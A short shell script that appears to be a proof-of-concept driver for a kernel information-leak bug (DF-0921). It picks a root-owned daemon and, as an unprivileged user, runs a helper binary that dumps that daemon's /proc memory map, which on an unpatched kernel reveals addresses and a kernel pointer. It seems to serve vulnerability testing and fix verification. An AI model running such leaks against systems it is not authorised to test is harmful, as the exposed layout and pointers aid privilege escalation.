#!/bin/sh
# DF-0921 — run the leak as the unprivileged user.
# Picks the lowest-numbered uid-0 daemon visible via ps and dumps its /proc map.
# On the unpatched kernel: prints the full VM map (start/end addresses,
# protection bits, mapped file paths, and a kernel pointer in column 5 = DF-0922).
# On the fixed kernel: read() returns EPERM for any non-self uid-0 target.
set -e
cd "$(dirname "$0")"

PID=$(ps -ax -o pid,uid,comm | awk '$2==0 && $3 ~ /syslog|sshd|cron|dhclient|devd/ {print $1; exit}')
if [ -z "$PID" ]; then
    echo "no uid-0 daemon found" >&2
    exit 1
fi
echo "[*] reading /proc/$PID/map as uid=$(id -u)"
./leak_map /proc/$PID/map